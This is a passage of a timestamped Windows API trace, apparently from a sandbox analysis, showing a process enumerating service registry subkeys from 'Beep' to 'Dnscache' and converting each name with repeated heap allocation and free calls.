Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.998] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0243.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0243.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.998] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0243.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0243.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.998] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0243.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0243.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.998] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0243.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0243.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.999] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0243.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0243.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.999] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0243.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0243.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.999] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0243.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0243.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0244.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.000] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0244.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0244.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0244.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0244.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.000] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0244.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0244.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0244.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0244.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.000] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0244.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0244.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0244.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0244.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.000] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0244.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0244.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0244.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0244.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.001] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0244.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0244.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0244.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0244.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.001] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0244.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0244.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0244.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0244.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.001] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0244.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0244.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0244.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0244.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.001] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0244.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0244.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0244.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0244.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.002] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0244.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0244.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0244.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0244.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0244.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.002] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0244.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0244.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0244.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0244.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0244.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.002] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0244.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0244.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0244.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0244.003] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0244.003] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0244.003] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0244.003] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0244.003] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0244.003] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0244.003] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0244.003] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0244.003] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0244.003] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0244.003] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0244.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0244.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0244.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0244.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0244.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0244.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0244.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0244.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0244.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0244.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0244.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0244.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0244.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0244.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0244.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0244.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 